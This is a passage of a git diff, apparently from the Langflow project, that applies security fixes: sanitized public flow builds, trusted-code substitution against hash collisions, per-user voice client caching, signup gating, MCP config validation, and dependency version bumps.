a/src/backend/base/langflow/api/v1/chat.py b/src/backend/base/langflow/api/v1/chat.py index 58f4a621eb..d3c69d324d 100644 --- a/src/backend/base/langflow/api/v1/chat.py +++ b/src/backend/base/langflow/api/v1/chat.py @@ -15,6 +15,7 @@ from lfx.schema.schema import InputValueRequest, OutputValue from lfx.services.cache.utils import CacheMiss from lfx.utils.flow_validation import ( CustomComponentValidationError, + prepare_public_flow_build, validate_flow_for_current_settings, validate_public_flow_no_code_execution, ) @@ -833,18 +834,25 @@ async def build_public_tmp( if scoped_session != inputs.session: inputs = inputs.model_copy(update={"session": scoped_session}) - # Validate the stored flow data after the public-access boundary. - # Public flows never accept client-supplied data. + # Validate the stored flow data after the public-access boundary. Public flows never + # accept client-supplied data; the two checks below harden the unauthenticated build + # path (report H1-3754930) and only ever run server-trusted code for anonymous visitors. + sanitized_public_data: dict | None = None async with session_scope() as session: flow = await session.get(Flow, flow_id) if flow and flow.data: - validate_flow_for_current_settings(flow.data) # Block unauthenticated builds of flows that run arbitrary code # (Python interpreter/REPL, legacy Python Code Structured tool, - # Smart Transform lambda). Without this, any public flow - # containing such a component is an unauthenticated server-side - # code-execution primitive (report H1-3754930). + # Smart Transform lambda) or invoke another saved flow (Run Flow, + # Sub Flow, Flow as Tool — the transitive case). Without this, any + # public flow containing such a component is an unauthenticated + # server-side code-execution primitive (report H1-3754930). validate_public_flow_no_code_execution(flow.data) + # Substitute the server's trusted code into every known component and + # reject unrecognized custom components, so anonymous visitors only ever + # run server code (opt out with allow_public_custom_components, which + # restores the prior DB-loaded build that honors allow_custom_components). + sanitized_public_data = await prepare_public_flow_build(flow.data) # flow_id=new_flow_id for tracking/sessions/messages (virtual, per-user isolation). # source_flow_id=flow_id to load the actual flow data from the database. @@ -853,7 +861,19 @@ async def build_public_tmp( source_flow_id=flow_id, background_tasks=background_tasks, inputs=inputs, - data=None, # Always None - public flows load from database only + # Default path: build from server-sanitized data (trusted code substituted in, + # unknown custom components already rejected above). When None (opt-in mode or no + # flow data) the build falls back to loading the flow from the DB by source_flow_id. + # Either way the caller never supplies the data — it is derived from the stored flow. + data=( + FlowDataRequest( + nodes=sanitized_public_data.get("nodes", []), + edges=sanitized_public_data.get("edges", []), + viewport=sanitized_public_data.get("viewport"), + ) + if sanitized_public_data is not None + else None + ), files=files, stop_component_id=stop_component_id, start_component_id=start_component_id, diff --git a/src/backend/base/langflow/api/v1/endpoints.py b/src/backend/base/langflow/api/v1/endpoints.py index 7d0fe4082c..546a436658 100644 --- a/src/backend/base/langflow/api/v1/endpoints.py +++ b/src/backend/base/langflow/api/v1/endpoints.py @@ -30,6 +30,7 @@ from lfx.utils.flow_validation import ( CustomComponentValidationError, code_hash_matches_any_template, get_component_hash_lookups_for_validation, + get_trusted_code_for_validation, ) from sqlmodel import select @@ -1336,7 +1337,21 @@ async def custom_component( detail="Custom component creation is disabled", ) - component = Component(_code=raw_code.code) + # In restricted mode the request only reached here by matching a known + # template hash. That hash is a truncated digest, so a second-preimage + # collision could clear the gate with attacker-controlled bytes. Execute + # the server's trusted copy keyed by the same hash instead of the client + # bytes, and fail closed if no trusted source can be recovered. + effective_code = raw_code.code + if _requires_component_hash_lookups(settings, user): + effective_code = get_trusted_code_for_validation(raw_code.code) + if effective_code is None: + raise HTTPException( + status_code=status.HTTP_403_FORBIDDEN, + detail="Custom component creation is disabled", + ) + + component = Component(_code=effective_code) built_frontend_node, component_instance = build_custom_component_template(component, user_id=user.id) if raw_code.frontend_node is not None: @@ -1419,8 +1434,21 @@ async def custom_component_update( detail="Custom component creation is disabled", ) + # In restricted mode the request only reached here by matching a known + # template hash. Because that hash is a truncated digest, execute the + # server's trusted copy keyed by the same hash rather than the client + # bytes (defeats a hash collision), failing closed if it can't be found. + effective_code = code_request.code + if _requires_component_hash_lookups(settings_service.settings, user): + effective_code = get_trusted_code_for_validation(code_request.code) + if effective_code is None: + raise HTTPException( + status_code=status.HTTP_403_FORBIDDEN, + detail="Custom component creation is disabled", + ) + try: - component = Component(_code=code_request.code) + component = Component(_code=effective_code) component_node, cc_instance = build_custom_component_template( component, user_id=user.id, @@ -1468,7 +1496,16 @@ async def custom_component_update( field_name=code_request.field, ) if "code" not in updated_build_config or not updated_build_config.get("code", {}).get("value"): - updated_build_config = add_code_field_to_build_config(updated_build_config, code_request.code) + updated_build_config = add_code_field_to_build_config(updated_build_config, effective_code) + else: + # Never echo client bytes back in restricted mode. A colliding + # payload may have cleared the truncated-hash gate, but the server + # executed its trusted copy (``effective_code``); the returned node + # must carry that trusted code too, otherwise the attacker bytes + # could be persisted into a saved flow and later exec'd on the + # build path. In the default (unrestricted) mode ``effective_code`` + # is ``code_request.code``, so this is a no-op. + updated_build_config["code"]["value"] = effective_code component_node["template"] = updated_build_config if isinstance(cc_instance, Component): diff --git a/src/backend/base/langflow/api/v1/login.py b/src/backend/base/langflow/api/v1/login.py index adafcf38ef..577d998734 100644 --- a/src/backend/base/langflow/api/v1/login.py +++ b/src/backend/base/langflow/api/v1/login.py @@ -144,6 +144,19 @@ async def auto_login(response: Response, db: DbSession): if auth_settings.AUTO_LOGIN: auth = get_auth_service() user_id, tokens = await auth.create_user_longterm_token(db) + # The auto-login token is now short-lived, so set the refresh + # cookie too — the client refreshes it transparently via /refresh instead + # of relying on a year-long token. + if tokens.get("refresh_token"): + response.set_cookie( + "refresh_token_lf", + tokens["refresh_token"], + httponly=auth_settings.REFRESH_HTTPONLY, + samesite=auth_settings.REFRESH_SAME_SITE, + secure=auth_settings.REFRESH_SECURE, + expires=auth_settings.REFRESH_TOKEN_EXPIRE_SECONDS, + domain=auth_settings.COOKIE_DOMAIN, + ) response.set_cookie( "access_token_lf", tokens["access_token"], diff --git a/src/backend/base/langflow/api/v1/models.py b/src/backend/base/langflow/api/v1/models.py index 968a4545bd..6aca0480c1 100644 --- a/src/backend/base/langflow/api/v1/models.py +++ b/src/backend/base/langflow/api/v1/models.py @@ -196,32 +196,23 @@ async def list_models( **metadata_filters, ) - # Add configured and enabled status to each provider + # Run before status is computed so live-only providers appended here (e.g. IBM WatsonX, + # whose static catalog is fully deprecated) still receive is_enabled/is_configured (#13735). + configured_providers = {p for p, configured in provider_configured_status.items() if configured} + replace_with_live_models(filtered_models, current_user.id, configured_providers, model_type) + for provider_dict in filtered_models: prov_name = provider_dict.get("provider") provider_dict["is_configured"] = provider_configured_status.get(prov_name, False) - - # Provider is "enabled" (active) if it has at least one enabled model prov_models_status = enabled_models_map.get(prov_name, {}) has_active_model = any(prov_models_status.values()) provider_dict["is_enabled"] = has_active_model - # Replace static models with live models for providers that support it - configured_providers = {p for p, configured in provider_configured_status.items() if configured} - replace_with_live_models(filtered_models, current_user.id, configured_providers, model_type) - - # Sort providers: - # 1. Provider with default model first - # 2. Configured providers next - # 3. Alphabetically after that def sort_key(provider_dict): provider_name = provider_dict.get("provider", "") - # Use is_configured for sorting priority (so they appear at top when ready) is_configured = provider_dict.get("is_configured", False) is_default = provider_name == default_provider - - # Return tuple for sorting: (not is_default, not is_configured, provider_name) - # This way default comes first (False < True), then configured, then alphabetical + # default first, then configured, then alphabetical (False sorts before True) return (not is_default, not is_configured, provider_name) filtered_models.sort(key=sort_key) @@ -529,17 +520,14 @@ async def get_enabled_models( model_names: Annotated[list[str] | None, Query()] = None, ): """Get enabled models for the current user.""" - # Get all models - this returns a list of provider dicts with nested models all_models_by_provider = get_unified_models_detailed( include_unsupported=True, include_deprecated=True, ) - # Get enabled providers status enabled_providers_result = await get_enabled_providers(session=session, current_user=current_user) provider_status = enabled_providers_result.get("provider_status", {}) - # Replace static models with live models for providers that support it configured_providers = {p for p, configured in provider_status.items() if configured} replace_with_live_models(all_models_by_provider, current_user.id, configured_providers) @@ -547,10 +535,8 @@ async def get_enabled_models( disabled_models = await _get_disabled_models(session=session, current_user=current_user) explicitly_enabled_models = await _get_enabled_models(session=session, current_user=current_user) - # Build model status based on provider enablement enabled_models: dict[str, dict[str, bool]] = {} - # Iterate through providers and their models for provider_dict in all_models_by_provider: provider = provider_dict.get("provider") models = provider_dict.get("models", []) @@ -568,13 +554,6 @@ async def get_enabled_models( is_not_supported = metadata.get("not_supported", False) is_default = metadata.get("default", False) - # Model is enabled if: - # 1. Provider is enabled - # 2. Model is not deprecated/unsupported - # 3. Model is either: - # - Marked as default (default=True), OR - # - Explicitly enabled by user (in explicitly_enabled_models), AND - # - NOT explicitly disabled by user (not in disabled_models) is_enabled = ( provider_status.get(provider, False) and not is_deprecated diff --git a/src/backend/base/langflow/api/v1/users.py b/src/backend/base/langflow/api/v1/users.py index 6145e0e038..f4814207c4 100644 --- a/src/backend/base/langflow/api/v1/users.py +++ b/src/backend/base/langflow/api/v1/users.py @@ -10,7 +10,7 @@ from sqlmodel.sql.expression import SelectOfScalar from langflow.api.utils import CurrentActiveUser, DbSession from langflow.api.v1.schemas import UsersResponse from langflow.initial_setup.setup import get_or_create_default_folder -from langflow.services.auth.utils import get_current_active_superuser +from langflow.services.auth.utils import get_current_active_superuser, get_current_user_optional from langflow.services.database.models.user.crud import get_user_by_id, update_user from langflow.services.database.models.user.model import User, UserCreate, UserRead, UserUpdate from langflow.services.deps import get_auth_service, get_settings_service @@ -22,13 +22,31 @@ router = APIRouter(tags=["Users"], prefix="/users") async def add_user( user: UserCreate, session: DbSession, + current_user: Annotated[User | None, Depends(get_current_user_optional)], ) -> User: """Add a new user to the database. - This endpoint allows public user registration (sign up). + This endpoint backs two flows that share the same route: + + * Public sign up (unauthenticated). Allowed only when public registration is + enabled for the deployment, i.e. AUTO_LOGIN is off (multi-user mode) and + ENABLE_SIGNUP is True. + * Admin "add user" (authenticated active superuser). Always allowed, + regardless of the sign up settings, so disabling public sign up does not + break superuser-driven user creation. + User activation is controlled by the NEW_USER_IS_ACTIVE setting. """ settings_service = get_settings_service() + auth_settings = settings_service.auth_settings + # An authenticated active superuser (the admin "add user" flow) may always + # create users. For every other caller this endpoint is effectively + # unauthenticated, so refuse it unless public sign up is intended for this + # deployment. get_current_user_optional returns None for credential-less + # requests, so the anonymous path can never be promoted to superuser. + is_superuser_caller = current_user is not None and current_user.is_active and current_user.is_superuser + if not is_superuser_caller and (auth_settings.AUTO_LOGIN or not auth_settings.ENABLE_SIGNUP): + raise HTTPException(status_code=403, detail="Public user registration is disabled.") new_user = User.model_validate(user, from_attributes=True) try: diff --git a/src/backend/base/langflow/api/v1/variable.py b/src/backend/base/langflow/api/v1/variable.py index fa0b501f52..ac5db5c48f 100644 --- a/src/backend/base/langflow/api/v1/variable.py +++ b/src/backend/base/langflow/api/v1/variable.py @@ -4,7 +4,11 @@ import logging from uuid import UUID from fastapi import APIRouter, HTTPException -from lfx.base.models.unified_models import get_model_provider_variable_mapping, validate_model_provider_key +from lfx.base.models.unified_models import ( + get_all_variables_for_provider, + get_model_provider_variable_mapping, + validate_model_provider_key, +) from sqlalchemy.exc import NoResultFound from langflow.api.utils import CurrentActiveUser, DbSession @@ -131,10 +135,12 @@ async def create_variable( if variable.name in model_provider_variable_mapping.values(): provider = get_provider_from_variable_name(variable.name) if provider is not None: - # Validate that the key actually works using the Language Model Service - # Run validation off the event loop to avoid blocking + # Saved provider vars (e.g. OPENAI_BASE_URL) must reach the validator; run off the event loop. + provider_vars = await asyncio.to_thread(get_all_variables_for_provider, current_user.id, provider) try: - await asyncio.to_thread(validate_model_provider_key, provider, {variable.name: variable.value}) + await asyncio.to_thread( + validate_model_provider_key, provider, {**provider_vars, variable.name: variable.value} + ) except ValueError as e: raise HTTPException(status_code=400, detail=str(e)) from e @@ -245,12 +251,13 @@ async def update_variable( if existing_variable.name in model_provider_variable_mapping.values() and variable.value: provider = get_provider_from_variable_name(existing_variable.name) if provider is not None: - # Run validation off the event loop to avoid blocking + # Run validation off the event loop; owner context (not caller) for share-aware updates. + provider_vars = await asyncio.to_thread(get_all_variables_for_provider, owner_id, provider) try: await asyncio.to_thread( validate_model_provider_key, provider, - {existing_variable.name: variable.value}, + {**provider_vars, existing_variable.name: variable.value}, ) except ValueError as e: raise HTTPException(status_code=400, detail=str(e)) from e diff --git a/src/backend/base/langflow/api/v1/voice_mode.py b/src/backend/base/langflow/api/v1/voice_mode.py index c0d5f46f13..15499d6da3 100644 --- a/src/backend/base/langflow/api/v1/voice_mode.py +++ b/src/backend/base/langflow/api/v1/voice_mode.py @@ -24,6 +24,7 @@ from lfx.utils.secrets import secret_value_to_str from openai import OpenAI from sqlalchemy import select from starlette.websockets import WebSocket, WebSocketDisconnect +from websockets.asyncio.client import ClientConnection from langflow.api.utils import CurrentActiveUser, DbSession from langflow.api.v1.chat import build_flow_and_stream @@ -165,47 +166,18 @@ class VoiceConfig: return dict(self.default_openai_realtime_session) -class ElevenLabsClientManager: - _instance = None - _api_key = None - - @classmethod - async def get_client(cls, user_id=None, session=None): - """Get or create an ElevenLabs client with the API key.""" - if cls._instance is None: - if cls._api_key is None and user_id and session: - variable_service = get_variable_service() - try: - cls._api_key = await variable_service.get_variable( - user_id=user_id, - name="ELEVENLABS_API_KEY", - field="elevenlabs_api_key", - session=session, - ) - cls._api_key = secret_value_to_str(cls._api_key) - except (InvalidToken, ValueError) as e: - await logger.aerror(f"Error with ElevenLabs API key: {e}") - cls._api_key = os.getenv("ELEVENLABS_API_KEY", "") - if not cls._api_key: - await logger.aerror("ElevenLabs API key not found") - return None - except (KeyError, AttributeError, sqlalchemy.exc.SQLAlchemyError) as e: - await logger.aerror(f"Exception getting ElevenLabs API key: {e}") - return None - - if cls._api_key: - cls._instance = ElevenLabs(api_key=cls._api_key) - - return cls._instance - - -def get_voice_config(session_id: str) -> VoiceConfig: +def get_voice_config(session_id: str, user_id: UUID | None = None) -> VoiceConfig: if session_id is None: msg = "session_id cannot be None" raise ValueError(msg) - if session_id not in voice_config_cache: - voice_config_cache[session_id] = VoiceConfig(session_id) - return voice_config_cache[session_id] + # Key the cache by (user_id, session_id). session_id is client-supplied (the + # human chat-session name), so keying on it alone let two different users + # collide on the same session and share cached config/clients across tenants. + # Binding the key to the authenticated user prevents that. + cache_key = (user_id, session_id) + if cache_key not in voice_config_cache: + voice_config_cache[cache_key] = VoiceConfig(session_id) + return voice_config_cache[cache_key] class TTSConfig: @@ -247,13 +219,17 @@ class TTSConfig: return self.openai_voice -def get_tts_config(session_id: str, openai_key: str) -> TTSConfig: +def get_tts_config(session_id: str, openai_key: str, user_id: UUID | None = None) -> TTSConfig: if session_id is None: msg = "session_id cannot be None" raise ValueError(msg) - if session_id not in tts_config_cache: - tts_config_cache[session_id] = TTSConfig(session_id, openai_key) - return tts_config_cache[session_id] + # Key by (user_id, session_id) so a client-supplied session_id cannot make one + # user reuse another user's cached TTSConfig — which holds an OpenAI client + # built from that other user's key. + cache_key = (user_id, session_id) + if cache_key not in tts_config_cache: + tts_config_cache[cache_key] = TTSConfig(session_id, openai_key) + return tts_config_cache[cache_key] async def add_message_to_db(message, session, flow_id, session_id, sender, sender_name): @@ -331,8 +307,8 @@ async def process_message_queue(queue_key, session): class SendQueues: - def __init__(self, openai_ws: websockets.WebSocketClientProtocol, client_ws: WebSocket, log_event): - self.openai_ws: websockets.WebSocketClientProtocol = openai_ws + def __init__(self, openai_ws: ClientConnection, client_ws: WebSocket, log_event): + self.openai_ws: ClientConnection = openai_ws self.openai_send_q: asyncio.Queue[tuple] = asyncio.Queue() self.openai_writer_task: asyncio.Task = asyncio.create_task(self.__openai_writer()) @@ -395,13 +371,13 @@ class SendQueues: await self.client_writer_task -def get_create_response(send_handler: SendQueues, session_id): +def get_create_response(send_handler: SendQueues, session_id, user_id=None): def create_response(original: dict | None = None): msg = {} if original is not None: msg = original msg["type"] = "response.create" - voice_config = get_voice_config(session_id) + voice_config = get_voice_config(session_id, user_id) if voice_config.use_elevenlabs: response = msg.setdefault("response", {}) response["modalities"] = ["text"] @@ -420,7 +396,7 @@ async def handle_function_call( session_id: str, msg_handler: SendQueues, ): - create_response = get_create_response(msg_handler, session_id) + create_response = get_create_response(msg_handler, session_id, current_user.id) """Handle function calls from the OpenAI API.""" try: args = json.loads(function_call_args) if function_call_args else {} @@ -509,8 +485,8 @@ async def handle_function_call( msg_handler.openai_send(function_output) -voice_config_cache: dict[str, VoiceConfig] = {} -tts_config_cache: dict[str, TTSConfig] = {} +voice_config_cache: dict[tuple[UUID | None, str], VoiceConfig] = {} +tts_config_cache: dict[tuple[UUID | None, str], TTSConfig] = {} # --- Global Queues and Message Processing --- @@ -532,8 +508,38 @@ async def get_flow_desc_from_db(flow_id: str) -> Flow: async def get_or_create_elevenlabs_client(user_id=None, session=None): - """Get or create an ElevenLabs client with the API key.""" - return await ElevenLabsClientManager.get_client(user_id, session) + """Build an ElevenLabs client scoped to the requesting user. + + Security: this previously delegated to a process-global singleton + (``ElevenLabsClientManager``) that cached the *first* caller's API key and + returned that same client to every subsequent user. As a result one tenant's + ElevenLabs account was billed for everyone's TTS (cross-tenant billing + siphon) and their voice library was exposed via /voice/elevenlabs/voice_ids. + + Build a fresh client from the requesting user's own key on each call and never + cache it on a class/module global. + """ + if not (user_id and session): + return None + variable_service = get_variable_service() + try: + api_key = await variable_service.get_variable( + user_id=user_id, + name="ELEVENLABS_API_KEY", + field="elevenlabs_api_key", + session=session, + ) + api_key = secret_value_to_str(api_key) + except (InvalidToken, ValueError) as e: + await logger.aerror(f"Error with ElevenLabs API key: {e}") + api_key = os.getenv("ELEVENLABS_API_KEY", "") + except (KeyError, AttributeError, sqlalchemy.exc.SQLAlchemyError) as e: + await logger.aerror(f"Exception getting ElevenLabs API key: {e}") + return None + if not api_key: + await logger.aerror("ElevenLabs API key not found") + return None + return ElevenLabs(api_key=api_key) def pcm16_to_float_array(pcm_data): @@ -677,7 +683,7 @@ class FunctionCall: }, } ) - create_response = partial(get_create_response(self.msg_handler, self.session_id)) + create_response = partial(get_create_response(self.msg_handler, self.session_id, self.current_user.id)) create_response() def _send_function_call(self): @@ -730,11 +736,12 @@ async def flow_as_tool_websocket( log_event = create_event_logger() vad_task: asyncio.Task | None = None - voice_config = get_voice_config(session_id) current_user: User = await get_current_user_for_websocket(client_websocket, session) current_user, openai_key = await authenticate_and_get_openai_key(session, current_user, client_websocket) if current_user is None or openai_key is None: return + # Resolve voice config only after authentication, scoped to this user. + voice_config = get_voice_config(session_id, current_user.id) try: flow_description = await get_flow_desc_from_db(flow_id) flow_tool = { @@ -764,7 +771,7 @@ async def flow_as_tool_websocket( session_dict["tools"] = [flow_tool] return session_dict - async with websockets.connect(url, extra_headers=headers) as openai_ws: + async with websockets.connect(url, additional_headers=headers) as openai_ws: msg_handler = SendQueues(openai_ws, client_websocket, log_event) openai_realtime_session = init_session_dict() @@ -928,7 +935,7 @@ async def flow_as_tool_websocket( async def forward_to_openai() -> None: nonlocal openai_realtime_session - create_response = get_create_response(msg_handler, session_id) + create_response = get_create_response(msg_handler, session_id, current_user.id) try: num_audio_samples = 0 # Initialize as an integer instead of None while True: @@ -1202,14 +1209,16 @@ async def flow_tts_websocket( current_user: User = await get_current_user_for_websocket(client_websocket, session) current_user, openai_key = await authenticate_and_get_openai_key(session, current_user, client_send) + if current_user is None or openai_key is None: + return url = "wss://api.openai.com/v1/realtime?intent=transcription" headers = { "Authorization": f"Bearer {openai_key}", "OpenAI-Beta": "realtime=v1", } - tts_config = get_tts_config(session_id, openai_key) - async with websockets.connect(url, extra_headers=headers) as openai_ws: + tts_config = get_tts_config(session_id, openai_key, current_user.id) + async with websockets.connect(url, additional_headers=headers) as openai_ws: openai_writer_task = asyncio.create_task(openai_writer()) client_writer_task = asyncio.create_task(client_writer()) diff --git a/src/backend/base/langflow/api/v2/files.py b/src/backend/base/langflow/api/v2/files.py index 43a6bb07bd..e511a7f19b 100644 --- a/src/backend/base/langflow/api/v2/files.py +++ b/src/backend/base/langflow/api/v2/files.py @@ -69,6 +69,38 @@ async def get_mcp_file(current_user: CurrentActiveUser, *, extension: bool = Fal return f"{MCP_SERVERS_FILE}_{current_user.id!s}" + (".json" if extension else "") +async def _validate_uploaded_mcp_config(file: UploadFile) -> None: + """Validate an uploaded MCP servers config against MCPServerConfig. + + Security: the uploaded bytes become the user's MCP servers config, whose + ``command``/``args`` are later spawned via the stdio transport. The structured + ``/api/v2/mcp/servers`` endpoints validate each entry with ``MCPServerConfig`` + (command allow-list, arg/env checks); this file-upload path must apply the SAME + validation so it cannot be used to bypass the allow-list and run an arbitrary + command on the server. Rewinds the file so the subsequent save re-reads it. + """ + import json + + from pydantic import ValidationError + + from langflow.api.v2.schemas import MCPServerConfig + + raw = await file.read() + await file.seek(0) + try: + parsed = json.loads(raw) + except (json.JSONDecodeError, UnicodeDecodeError) as exc: + raise HTTPException(status_code=422, detail="Invalid MCP servers config: not valid JSON") from exc + servers = parsed.get("mcpServers") if isinstance(parsed, dict) else None + if not isinstance(servers, dict): + raise HTTPException(status_code=422, detail="Invalid MCP servers config: expected an 'mcpServers' object") + for name, cfg in servers.items(): + try: + MCPServerConfig.model_validate(cfg) + except ValidationError as exc: + raise HTTPException(status_code=422, detail=f"Invalid MCP server '{name}': {exc}") from exc + + async def byte_stream_generator(file_input, chunk_size: int = 8192) -> AsyncGenerator[bytes, None]: """Convert bytes object or stream into an async generator that yields chunks.""" if isinstance(file_input, bytes): @@ -250,6 +282,24 @@ async def upload_user_file( existing_file = None if new_filename == mcp_file_ext: + # Honor the MCP-servers lock on this path too. The structured + # /api/v2/mcp/servers endpoints reject non-superuser writes when the lock + # is on, but this branch writes the same _mcp_servers_.json that + # get_server_list reads — so without the same guard a non-superuser could + # replace their MCP config via the file-upload path while it's locked. + from langflow.api.v2.mcp import is_mcp_servers_locked + + if is_mcp_servers_locked(settings_service.settings) and not current_user.is_superuser: + raise HTTPException( + status_code=403, + detail="MCP server configuration is locked. " + "Contact an administrator to manage external MCP servers.", + ) + # Validate the uploaded MCP servers config before storing it, so this + # path can't bypass the command allow-list enforced by the structured + # /api/v2/mcp/servers endpoints (otherwise an attacker-supplied command + # would later be spawned via the stdio transport -> RCE). + await _validate_uploaded_mcp_config(file) # Check if an existing record exists; if so, delete it to replace with the new one existing_mcp_file = await get_file_by_name(mcp_file, current_user, session) if existing_mcp_file: diff --git a/src/backend/base/langflow/api/v2/registration.py b/src/backend/base/langflow/api/v2/registration.py index 6bd101de3a..d3adde0c22 100644 --- a/src/backend/base/langflow/api/v2/registration.py +++ b/src/backend/base/langflow/api/v2/registration.py @@ -94,7 +94,7 @@ def save_registration(email: str) -> bool: return True -@router.post("/", response_model=RegisterResponse) +@router.post("/", response_model=RegisterResponse, dependencies=[Depends(get_current_active_user)]) async def register_user(request: RegisterRequest): """Register the single user with email. diff --git a/src/backend/base/langflow/initial_setup/starter_projects/Hybrid Search RAG.json b/src/backend/base/langflow/initial_setup/starter_projects/Hybrid Search RAG.json index ee505cb790..cdac09ec7f 100644 --- a/src/backend/base/langflow/initial_setup/starter_projects/Hybrid Search RAG.json +++ b/src/backend/base/langflow/initial_setup/starter_projects/Hybrid Search RAG.json @@ -1522,7 +1522,7 @@ }, { "name": "langchain_core", - "version": "1.4.0" + "version": "1.4.8" }, { "name": "lfx_datastax", diff --git a/src/backend/base/langflow/initial_setup/starter_projects/Sequential Tasks Agents.json b/src/backend/base/langflow/initial_setup/starter_projects/Sequential Tasks Agents.json index 8e0d921da9..c2b34b6599 100644 --- a/src/backend/base/langflow/initial_setup/starter_projects/Sequential Tasks Agents.json +++ b/src/backend/base/langflow/initial_setup/starter_projects/Sequential Tasks Agents.json @@ -2995,7 +2995,7 @@ }, { "name": "langchain_core", - "version": "1.4.0" + "version": "1.4.8" }, { "name": "lfx", diff --git a/src/backend/base/langflow/initial_setup/starter_projects/Social Media Agent.json b/src/backend/base/langflow/initial_setup/starter_projects/Social Media Agent.json index 5ef886e002..2f975ee312 100644 --- a/src/backend/base/langflow/initial_setup/starter_projects/Social Media Agent.json +++ b/src/backend/base/langflow/initial_setup/starter_projects/Social Media Agent.json @@ -160,7 +160,7 @@ }, { "name": "langchain_core", - "version": "1.4.0" + "version": "1.4.8" }, { "name": "lfx", @@ -392,7 +392,7 @@ }, { "name": "langchain_core", - "version": "1.4.0" + "version": "1.4.8" }, { "name": "lfx", diff --git a/src/backend/base/langflow/initial_setup/starter_projects/Structured Data Analysis Agent.json b/src/backend/base/langflow/initial_setup/starter_projects/Structured Data Analysis Agent.json index f113fd6eba..048102a124 100644 --- a/src/backend/base/langflow/initial_setup/starter_projects/Structured Data Analysis Agent.json +++ b/src/backend/base/langflow/initial_setup/starter_projects/Structured Data Analysis Agent.json @@ -452,7 +452,7 @@ "dependencies": [ { "name": "langchain_core", - "version": "1.4.0" + "version": "1.4.8" }, { "name": "lfx", @@ -464,7 +464,7 @@ }, { "name": "OpenDsStar", - "version": "1.0.26" + "version": null } ], "total_dependencies": 4 @@ -4076,7 +4076,7 @@ "legacy": false, "lf_version": "1.8.1", "metadata": { - "code_hash": "d024ae40609e", + "code_hash": "6659bea0701d", "dependencies": { "dependencies": [ { @@ -4223,7 +4223,7 @@ "show": true, "title_case": false, "type": "code", - "value": "import asyncio\nimport json\nfrom contextlib import suppress\nfrom typing import Any\nfrom urllib.parse import urljoin\n\nimport httpx\nfrom langchain_ollama import ChatOllama\nfrom lfx.base.models.model import LCModelComponent\nfrom lfx.field_typing import LanguageModel\nfrom lfx.field_typing.range_spec import RangeSpec\nfrom lfx.helpers.base_model import build_model_from_schema\nfrom lfx.io import (\n BoolInput,\n DictInput,\n DropdownInput,\n FloatInput,\n IntInput,\n MessageTextInput,\n Output,\n SecretStrInput,\n SliderInput,\n StrInput,\n TableInput,\n)\nfrom lfx.log.logger import logger\nfrom lfx.schema.data import Data\nfrom lfx.schema.dataframe import DataFrame\nfrom lfx.schema.table import EditMode\nfrom lfx.utils.util import transform_localhost_url\n\nHTTP_STATUS_OK = 200\nTABLE_ROW_PLACEHOLDER = {\"name\": \"field\", \"description\": \"description of field\", \"type\": \"str\", \"multiple\": \"False\"}\n\n\nclass ChatOllamaComponent(LCModelComponent):\n display_name = \"Ollama\"\n description = \"Generate text using Ollama Local LLMs.\"\n icon = \"Ollama\"\n name = \"OllamaModel\"\n\n # Define constants for JSON keys\n JSON_MODELS_KEY = \"models\"\n JSON_NAME_KEY = \"name\"\n JSON_CAPABILITIES_KEY = \"capabilities\"\n DESIRED_CAPABILITY = \"completion\"\n TOOL_CALLING_CAPABILITY = \"tools\"\n\n # Define the table schema for the format input\n TABLE_SCHEMA = [\n {\n \"name\": \"name\",\n \"display_name\": \"Name\",\n \"type\": \"str\",\n \"description\": \"Specify the name of the output field.\",\n \"default\": \"field\",\n \"edit_mode\": EditMode.INLINE,\n },\n {\n \"name\": \"description\",\n \"display_name\": \"Description\",\n \"type\": \"str\",\n \"description\": \"Describe the purpose of the output field.\",\n \"default\": \"description of field\",\n \"edit_mode\": EditMode.POPOVER,\n },\n {\n \"name\": \"type\",\n \"display_name\": \"Type\",\n \"type\": \"str\",\n \"edit_mode\": EditMode.INLINE,\n \"description\": (\"Indicate the data type of the output field (e.g., str, int, float, bool, dict).\"),\n \"options\": [\"str\", \"int\", \"float\", \"bool\", \"dict\"],\n \"default\": \"str\",\n },\n {\n \"name\": \"multiple\",\n \"display_name\": \"As List\",\n \"type\": \"boolean\",\n \"description\": \"Set to True if this output field should be a list of the specified type.\",\n \"edit_mode\": EditMode.INLINE,\n \"options\": [\"True\", \"False\"],\n \"default\": \"False\",\n },\n ]\n default_table_row = {row[\"name\"]: row.get(\"default\", None) for row in TABLE_SCHEMA}\n default_table_row_schema = build_model_from_schema([default_table_row]).model_json_schema()\n\n inputs = [\n StrInput(\n name=\"base_url\",\n display_name=\"Ollama API URL\",\n info=\"Endpoint of the Ollama API. Defaults to http://localhost:11434.\",\n value=\"http://localhost:11434\",\n real_time_refresh=True,\n ),\n DropdownInput(\n name=\"model_name\",\n display_name=\"Model Name\",\n options=[],\n info=\"Refer to https://ollama.com/library for more models.\",\n refresh_button=True,\n real_time_refresh=True,\n required=True,\n ),\n SecretStrInput(\n name=\"api_key\",\n display_name=\"Ollama API Key\",\n info=\"Your Ollama API key.\",\n value=None,\n required=False,\n real_time_refresh=True,\n advanced=True,\n ),\n SliderInput(\n name=\"temperature\",\n display_name=\"Temperature\",\n value=0.1,\n range_spec=RangeSpec(min=0, max=1, step=0.01),\n advanced=True,\n ),\n TableInput(\n name=\"format\",\n display_name=\"Format\",\n info=\"Specify the format of the output.\",\n table_schema=TABLE_SCHEMA,\n value=default_table_row,\n show=False,\n ),\n DictInput(name=\"metadata\", display_name=\"Metadata\", info=\"Metadata to add to the run trace.\", advanced=True),\n DropdownInput(\n name=\"mirostat\",\n display_name=\"Mirostat\",\n options=[\"Disabled\", \"Mirostat\", \"Mirostat 2.0\"],\n info=\"Enable/disable Mirostat sampling for controlling perplexity.\",\n value=\"Disabled\",\n advanced=True,\n real_time_refresh=True,\n ),\n FloatInput(\n name=\"mirostat_eta\",\n display_name=\"Mirostat Eta\",\n info=\"Learning rate for Mirostat algorithm. (Default: 0.1)\",\n advanced=True,\n ),\n FloatInput(\n name=\"mirostat_tau\",\n display_name=\"Mirostat Tau\",\n info=\"Controls the balance between coherence and diversity of the output. (Default: 5.0)\",\n advanced=True,\n ),\n IntInput(\n name=\"num_ctx\",\n display_name=\"Context Window Size\",\n info=\"Size of the context window for generating tokens. (Default: 2048)\",\n advanced=True,\n ),\n IntInput(\n name=\"num_gpu\",\n display_name=\"Number of GPUs\",\n info=\"Number of GPUs to use for computation. (Default: 1 on macOS, 0 to disable)\",\n advanced=True,\n ),\n IntInput(\n name=\"num_thread\",\n display_name=\"Number of Threads\",\n info=\"Number of threads to use during computation. (Default: detected for optimal performance)\",\n advanced=True,\n ),\n IntInput(\n 